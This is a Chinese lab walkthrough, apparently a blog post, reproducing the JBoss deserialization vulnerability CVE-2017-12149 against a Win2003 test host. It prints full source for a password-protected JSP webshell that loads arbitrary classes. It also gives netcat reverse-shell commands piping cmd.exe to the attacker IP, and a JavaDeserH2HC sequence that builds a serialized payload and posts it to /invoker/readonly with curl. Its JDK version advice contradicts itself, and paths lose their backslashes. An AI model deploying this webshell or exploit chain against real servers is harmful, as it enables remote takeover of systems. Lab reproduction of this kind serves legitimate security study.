环境
搭建jboss:win2003:(192.168.2.148) 攻击机:kali(192.168.2.129)
序列化
序列化就是将对象 object、字符串 string、数组 array、变量,转换成具有⼀定格式的字符串,使其能在文件储存或传输的过程中保持稳定的格式,目的就是为了方便传输。
什么是反序列化漏洞:
简单来说,反序列化就是序列化的逆过程。程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,通过在参数中注入⼀些代码,从而达到代码执行,SQL 注入,目录遍历等不可控后果,危害较大。 2017年9月14日,国家信息安全漏洞共享平台(CNVD)收录了 JBOSS Application Server 反序列化命令执行漏洞(CNVD-2017-33724,对应 CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。
Jboss 反序列化(CVE-2017-12149)的原理
JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。在/invoker/readonly路径下,攻击者可以构造序列化代码传入服务器进行反序列化,由于没有对反序列化作进行任何检测,导致攻击者可以执行任意代码。
JBoss 反序列漏洞利用
实验环境
win2003
影响版本
JBoss 5.x / 6.x
文件及源代码
需要的在私信或者后台免费领取
搭建环境(Win2003)
安装 java(JDK-6u45-windows-i586.exe)
配置java环境变量
安装jdk配置环境变量
新建环境变量
新建变量JAVA_HOME
变量值:C:Program FilesJavajdk1.8.0_162(JDK的安装路径,这里以你自己的安装路径为准)
新建CLASSPATH 变量
变量值为:.;%JAVA_HOME%lib;%JAVA_HOME%libtools.jar(注意前面是有一个点的),配置好之后如下图,这里是可以复制粘贴的
配置path
找到path,双击或者点编辑,
;%JAVA_HOME%bin
点击确定即可
测试是否成功安装
java -versionjavacjava
安装jboss
安装 jboss,把 jboss 文件夹放到 c 盘中,为了看着方便,我们将文件夹改名为 jboss
配置 jboss 环境变量
新建系统变量:变量名:JBOSS_HOME 变量值:C:jboss变量名:SystemRoot 变量值:C:windows新建用户变量:变量名为:Path 变量值:%SystemRoot%/system32;%SystemRoot%;%JBOSS_HOME%bin
环境变量配置完毕。
接下来做一些设置,找到 server.xml 文件,修改 ip 地址和端口,修改之前先备份一下 通过记事本打开这个 server.xml 文件,找到 ip 地址配置。将这个${jboss.bind.address}改为 0.0.0.0 即可。如果想改端口的话,将 8080 改为 80 即可(不建议)。保存之后关闭,然后重新运行 jboss 。
双击run.bat,解压的可能比较慢
然后通过问一下 jboss 网址,http://192.168.2.148:8080 ,注意,一定要输入 http://才行,jboss 默认端口时 8080,(如IIS 中有网站端口冲突,记得修改)我们在浏览器输入如下网址,查看效果。(注意先不要启动jspstudy2016,否则会打不开这个 Jboss 控制台!!防止端口冲突)
输入admin,admin登录
通过jboss部署网址
在控制台中找到web application(war)s --add a new resource--选择war文件上传--访问http://192.168.2.148:8080/test3693
和 struct2 差不多,也是部署 war 包项目,放到当前文档所在目录中,大家可以直接选 test3693.war 使用
我们就可以直接访问了,重新打开 IE 浏览器中输入如下网址看效果: http://192.168.2.148:8080/test3693/
上传木马
在这里可以直接上传木马 test.jsp.密码:passwd
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) {return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } }%><% String cls = request.getParameter("passwd");if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); }%>
上传成功
连接蚁剑
连接成功
漏洞检测
(1)访问链接(自己的IP)http://192.168.2.148:8080/invoker/readonly
返回 500,一般就可以认为反序列漏洞存在检测发现漏洞
执行
命令执行成功!!
反弹shell
蚁剑反弹
开启监听端口
前面已经上传了jsp木马,蚁剑成功连接上了,先在kali开启监听窗口
nc -lvvp 8888
nc反弹shell
我们先把nc上传到win2003(受害机),下载地址:https://eternallybored.org/misc/netcat/
nc.exe 192.168.2.129 8888 -e cmd.exe
kali返回成功
javaDeserH2HC反弹
为了保证连接的稳定,就可以用我们的测试利用工具进行反弹:JavaDeserH2HC(需要安装配置jdk环境)
下载javaDeserH2HC
下载地址:https://github.com/joaomatosf/JavaDeserH2HC
解压到KALI后执行如下反弹shell命令。
编译生成数据流
用指定的类路径(当前目录和 commons-collections-3.2.1.jar)编译 ReverseShellCommonsCollectionsHashMap.java 文件,生成对应的 .class 文件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
启动 ReverseShellCommonsCollectionsHashMap 程序,运行时能访问当前目录和 commons-collections-3.2.1.jar 中的类,192.168.2.129:4445(是kali监听的ip地址)的反弹shell用来做远程连接或其他网络操作。
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.2.129:4445
执行完成会在当前目录下生成一个.ser序列化数据流
kali开启监听端口
nc -lvvp 4445
发送数据包
curl http://192.168.2.148:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
反弹shell成功
这里有一个注意的点就是jdk的版本要低于1.8,最好是1.8
原文始发于微信公众号(Cauchy网安):Jboss反序列化漏洞(CVE-2017-12149)漏洞复现nc与javaDeserH2HC反弹shell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论